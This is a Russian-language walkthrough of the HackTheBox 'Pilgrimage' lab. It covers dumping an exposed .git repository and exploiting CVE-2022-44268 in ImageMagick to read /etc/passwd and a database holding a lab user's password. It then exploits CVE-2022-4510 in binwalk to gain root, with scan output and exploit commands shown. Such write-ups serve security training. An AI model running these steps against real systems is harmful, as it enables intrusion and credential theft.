Блог

Разбор HackTheBox — Pilgrimage (Easy)

Сложность: Easy
ОС: Linux
Баллы:20
IP:10.10.11.219
Теги:Weak Git Permissions, Code Review, CVE-2022-44268, Linux PrivEsc, CVE-2022-4510

Краткое описание решения

После первичной разведки веб-приложения мы обнаруживаем дополнительную директорию /.git и далее с помощью инструмента git-dumper скачиваем репозиторий, содержащий исходный код и исполнимые файлы, реализующие работу веб-сервиса. Далее, после анализа исходного кода доступного в файлах репозитория выясняем, что сервис уязвим к CVE-2022-44268, с помощью которой успешно прочитываем содержимое /var/db/pilgrimage, получаем доступ к учетной записи emily и флагу пользователя. Затем, обнаружив фоновую работу скрипта запущенного от лица root и использующего уязвимую версию Binwalk 2.3.2 успешно эксплуатируем CVE-2022-4510. После чего получаем доступ к root и успешно забираем соответствующий флаг.

Фаза разведки

Проведём первичное сканирование цели:

nmap -sS -p- 10.10.11.219

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http

Просканируем более подробно: nmap -sVC -O -p22,80 10.10.11.219

22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-git: 
|   10.10.11.219:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: nginx/1.18.0
|_http-title: Pilgrimage - Shrink Your Images

Стандартные скрипты Nmap при сканировании обнаружили директорию /.git. Добавим запись в файл /etc/hosts и посетим веб-сервис для ознакомления с его функционалом.

Основной функционал согласно описанию — загрузка картинок и последующее уменьшение их размера.

Просканируем директории доступные на pilgrimage.htb:

gobuster dir -u http://pilgrimage.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k

Получим следующий результат:

/assets               (Status: 301) [Size: 169] [--> http://pilgrimage.htb/assets/]
/vendor               (Status: 301) [Size: 169] [--> http://pilgrimage.htb/vendor/]
/tmp                  (Status: 301) [Size: 169] [--> http://pilgrimage.htb/tmp/]
/.git                 (Status: 301) [Size: 169] [--> http://pilgrimage.htb/.git/]
/index.php            (Status: 200) [Size: 7621]
/login.php            (Status: 200) [Size: 6166]
/register.php         (Status: 200) [Size: 6173]
/logout.php           (Status: 302) [Size: 0] [--> /]
/dashboard.php        (Status: 302) [Size: 0] [--> /login.php]

Исходя из того, что мы обнаружили доступную директорию /.git воспользуемся инструментом git-dumper:

git-dumper http://pilgrimage.htb/.git/ ./source

[-] Testing http://pilgrimage.htb/.git/HEAD [200]
[-] Testing http://pilgrimage.htb/.git [403]
[-] Fetching common files
[...]

В результате загрузки репозитория /.git мы узнали, что в нём содержатся следующие файлы и папки:

/assets
dashboard.php
index.php
login.php
logout.php
magick
register.php
/vendor

Соберём из этих файлов информацию, которая могла бы быть полезна для развития атаки.

  1. Из кода index.php можно сделать вывод, что используются учётная запись пользователя, содержащаяся в БД /var/db/pilgrimage
  2. Также, из кода index.php видно, что для обеспечения основного функционала уменьшения картинок используется Magick: exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
  3. Аналогично, в коде dashboard.php используется БД /var/db/pilgrimage
  4. Файл magick это исполнимый ELF (file ./magick), версии 7.1.0-49 beta (./magick -version)

Если данный репозиторий содержит код и файлы, отвечающие за функционал веб-сервиса, то мы можем осуществить поиск уязвимостей для версии 7.1.0-49 beta.

Чтение произвольных файлов с помощью CVE-2022-44268 и получение доступа к пользователю emily

После непродолжительных поисков было обнаружено, что ImageMagick версии 7.1.0-49 beta уязвим к CVE-2022-44268, которая позволяет читать произвольные файлы на целевой машине с помощью специально подготовленной картинки в формате png.

В интернете доступен код на языке Python для применения этого эксплоита (https://github.com/Sybil-Scan/imagemagick-lfi-poc), но мы можем дополнительно доработать его (https://github.com/seqteam/CVE-2022-44268).

Таким образом, для чтения произвольного файла потребуется выполнить всего две команды:

python3 exploit.py generate -f "targetFileLocalDestination"
python3 exploit.py extract -i resultAlphaNumericShrunkImage.png 

Таким образом мы можем прочесть файлы /etc/passwd и /var/db/pilgrimage, из которых мы обнаружим:

  1. Локальные пользовательские учётные записи целевой машины: root, emily
  2. Пароль учётной записи emily:abigchonkyboi123

Далее, с помощью полученного пароля подключаемся к удалённой целевой машине и успешно получаем флаг пользователя emily.

Повышение до root с помощью CVE-2022-4510

Разведаем какие процессы запущены в данный момент на целевой машине с помощью команды ps aus и выведем все процессы, которые запущены от пользователя root:

Обнаруживаем, что в фоне запущен скрипт /usr/sbin/malwarescan.sh от лица пользователя root.

Данный скрипт осуществляет поиск подстрочек «Executable script» и «Microsoft executable» в загруженных картинках с помощью утилиты binwalk. Выведем версию утилиты с помощью binwalk -h.

Осуществим поиск возможных эксплоитов к данной версии с помощью: searchsploit binwalk 2.3.2.

Для данной версии существует эксплоит, который в конечном счёте позволит атакующему исполнять команды на целевом сервере (CVE-2022-4510). Для формирования и отправки полезной нагрузки на целевой сервер используем любую картинку в формате JPG и запустим эксплоит со следующими параметрами и загрузим полученное изображение на целевую машину:

Успешно получили доступ к учётной записи root и смогли прочитать флаг!

Ссылки:

https://github.com/seqteam/CVE-2022-44268

https://nvd.nist.gov/vuln/detail/CVE-2022-44268

https://www.exploit-db.com/exploits/51249